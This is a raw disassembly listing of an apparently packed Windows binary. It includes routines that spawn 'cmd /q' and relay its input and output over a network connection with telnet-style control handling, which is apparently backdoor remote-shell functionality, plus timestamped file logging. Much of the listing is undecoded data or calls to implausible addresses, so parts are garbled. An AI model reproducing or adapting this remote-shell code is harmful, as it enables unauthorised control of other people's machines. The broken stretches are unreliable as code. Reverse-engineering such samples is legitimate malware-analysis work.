var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2650BD4h
		nop
		test	eax, eax
		jz	short loc_410FDC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E598[eax], ecx
		nop
		call	near ptr 265092Ah
		jmp	short loc_410FF2
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: sub_410F20+9Aj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_434B6C
		call	sub_415221
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF2:				; CODE XREF: sub_410F20+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF9	proc near		; DATA XREF: sub_410CD6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411022:				; CODE XREF: sub_410FF9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41108A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105D


loc_411033:				; CODE XREF: sub_410FF9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104D
		cmp	dl, 0Dh
		jz	short loc_41104D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104D:				; CODE XREF: sub_410FF9+44j
					; sub_410FF9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411033


loc_41105D:				; CODE XREF: sub_410FF9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_41108A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411022
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_410FF9+2Dj
					; sub_410FF9+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A6
		call	esi
		push	eax
		push	offset dword_434BAC
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4110A6:				; CODE XREF: sub_410FF9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AB	proc near		; DATA XREF: sub_410CD6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C4:				; CODE XREF: sub_4110AB+39j
					; sub_4110AB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB66C
		test	eax, eax
		jle	loc_4111C9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E6
		dec	[ebp+var_10]
		jmp	short loc_4110C4
; ---------------------------------------------------------------------------


loc_4110E6:				; CODE XREF: sub_4110AB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411156
		cmp	al, 7Fh
		jz	short loc_411156
		cmp	al, 3
		jnz	short loc_411111
		push	ebx
		push	ebx
		call	near ptr 2760000h
		nop
		jmp	short loc_41117D
; ---------------------------------------------------------------------------


loc_411111:				; CODE XREF: sub_4110AB+5Aj
		cmp	al, 15h
		jnz	short loc_411133
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411133:				; CODE XREF: sub_4110AB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_41116A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411156:				; CODE XREF: sub_4110AB+52j
					; sub_4110AB+56j
		cmp	esi, ebx
		jbe	short loc_411180
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8


loc_411167:				; DATA XREF: Themida_:00559A58o
		push	3


loc_411169:				; CODE XREF: sub_4110AB+86j
					; sub_4110AB+A9j
		pop	ecx


loc_41116A:				; CODE XREF: sub_4110AB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_4111C9


loc_41117D:				; CODE XREF: sub_4110AB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411180:				; CODE XREF: sub_4110AB+ADj
		cmp	al, 0Dh
		jnz	loc_4110C4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_4111C9
		xor	esi, esi
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111A9:				; CODE XREF: sub_4110AB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111BA
		mov	[ebp+var_C], 1
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111BA:				; CODE XREF: sub_4110AB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111C9:				; CODE XREF: sub_4110AB+2Bj
					; sub_4110AB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AB	endp

; ---------------------------------------------------------------------------
word_4111CE	dw 8B55h		; DATA XREF: sub_401ACD+2C08o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E59Ch,	50EC458Dh, 8015FF57h, 85004CB6h
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 0B868FFFFh, 500042BFh, 0A605E8h,	10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch
		dd 0A599E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF9DFBh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 13D36850h, 56560041h
		dd 0ECD6E890h, 4D8B0225h, 34C969C8h, 3B000002h,	0A48189C6h
		dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0FB51E890h
		dd 0EDEB0224h, 0F680E890h, 8D500225h, 0FFFD2C85h, 4C1C68FFh
		dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h
		dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h
		dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h
		dd 59FFFFA0h, 0E8905659h, 22BEC30h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E59Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh
		dd 0FFFF9FC7h, 0E8905359h, 22BEBACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB66C15h,	7FC08500h, 0FF36FF18h
		dd 4CB6EC15h, 875FF00h,	0FF9F96E8h, 0E85359FFh,	22BEB7Ch
		dd 30BD8090h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh,	400h, 0FB38858Dh
		dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh
		dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h
		dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh
		dd 0EAE6E853h, 6A90022Bh, 0E8458D10h, 69E85053h, 660000A0h
		dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh
		dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh,	8B004CB6h
		dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h
		dd 6800003Ch, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h
		dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 4DE89053h,	8D022BEAh
		dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh
		dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h
		dd 5359FFFFh, 0E9DEE890h, 68022Bh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F4FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0B6A415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h
		dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 0E982E853h
		dd 0FF90022Bh, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh
		dd 69E89053h
		db 0E9h, 2Bh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AD:				; CODE XREF: ___:0041175Cj
					; ___:0041178Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C5:				; CODE XREF: ___:004116D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C5


loc_4116D5:				; CODE XREF: ___:004116CAj
		cmp	ecx, 1
		jnz	short loc_4116EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116EA:				; CODE XREF: ___:004116D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB540
		test	eax, eax
		jz	short loc_41174A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792


loc_41174A:				; CODE XREF: ___:0041171Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB540
		test	eax, eax
		jz	loc_4116AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AD


loc_411792:				; CODE XREF: ___:00411731j
					; ___:00411748j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_411797	db 55h			; DATA XREF: sub_401ACD+210Eo
					; sub_40BACE+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	224F6B3h
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh
		dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h
		dd 9BE5E8FFh, 5959FFFFh, 0C9E89053h, 8D022BE7h,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E59CB0h, 0D4458D00h, 9D16E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh
		dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h
		dd 83004CB6h, 1975FFF8h, 138868h, 0F5EDE800h, 0FF900224h
		dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0F5B9E890h, 8D530224h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh
		dd 858DFFFFh, 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF9AF6E8h, 1CC483FFh, 0D9E89053h, 8B022BE6h, 9F39087Dh
		dd 2A0h, 295840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch
		dd 2398E0Fh, 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 2C15FF56h, 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h
		dd 50B0458Dh, 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh
		dd 0E850FFFFh, 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96E0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch
		dd 858D50B0h, 0FFFFF888h, 434D8C68h, 17E85000h,	8300009Eh
		dd 9D390CC4h, 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh
		dd 0C483FFFFh, 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h
		dd 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0EFE85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434D6Ch
		dd 9D20E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 360Dh, 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh
		dd 0FFFFFD5Fh, 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF981Fh, 0E8905359h, 22BE404h, 3E868h
		dd 0F299E800h, 57900224h, 0FFFB8AE8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 2760152h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 26609FBh
		nop
		lea	eax, [ebp-114h]
		push	offset asc_43554C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_42911C
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7B
		push	1
		pop	eax
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411C7B:				; CODE XREF: ___:00411C74j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CF0
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43551C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A73
		add	esp, 24h


loc_411CF0:				; CODE XREF: ___:00411CB7j
		xor	eax, eax


loc_411CF2:				; CODE XREF: ___:00411C79j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
byte_411CF5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4509o
		dd 8DCEC81h, 458B0000h,	57565308h, 0F724A583h, 6A00FFFFh
		dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h
		dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h
		dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h,	0F015FFF8h
		dd 0BB004CB5h, 200h, 48E8086Ah,	900224F1h, 0B5D815FFh
		dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h
		dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh,	0FFFFFB24h
		dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h
		dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h
		dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h
		dd 0A4C481h, 858D0000h,	0FFFFFB24h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h,	0F004CB5h
		dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h
		dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh
		dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h
		dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h,	7DF6851Eh, 40FF832Eh
		dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h
		dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h
		dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h
		dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h
		dd 208300h, 0FD24858Dh,	0FF83FFFFh, 13755008h, 913FE8h
		dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch
		dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h
		dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh
		dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h
		dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h
		dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h
		dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h
		dd 0EC810000h, 84h, 0FF24B58Dh,	858DFFFFh, 0FFFFFB24h
		dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h
		dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h
		dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh
		dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah
		dd 458B07EBh, 7C08308h,	24858D50h, 50FFFFFDh, 9F1BE8h
		dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h
		dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h
		dd 6A59FFh, 0E02AE890h
		db 2Bh,	2
word_411FD6	dw 8B55h		; DATA XREF: sub_401ACD+412Bo
		dd 2B4B8ECh, 3DE80001h,	8B00009Bh, 57560855h, 8B58016Ah
		dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h,	9082h
		dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h,	0C7660CC4h
		dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh
		dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch,	89026A03h
		dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h
		dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h
		dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
		dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h
		dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h,	5959FFFFh
		dd 55E89056h, 8B022BDFh, 106AD045h, 234C069h, 0B8890000h
		dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h
		dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h
		dd 97A2h, 390CC483h, 2075D875h,	4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h
		dd 4CB6ECh, 0E8D075FFh,	0FFFF92EBh, 0D1E85659h,	90022BDEh
		dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h
		dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h
		dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h,	75390CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h
		dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h
		dd 59FFFF92h, 0DE4EE856h, 5390022Bh, 4355A8BBh,	0FFFFBF00h
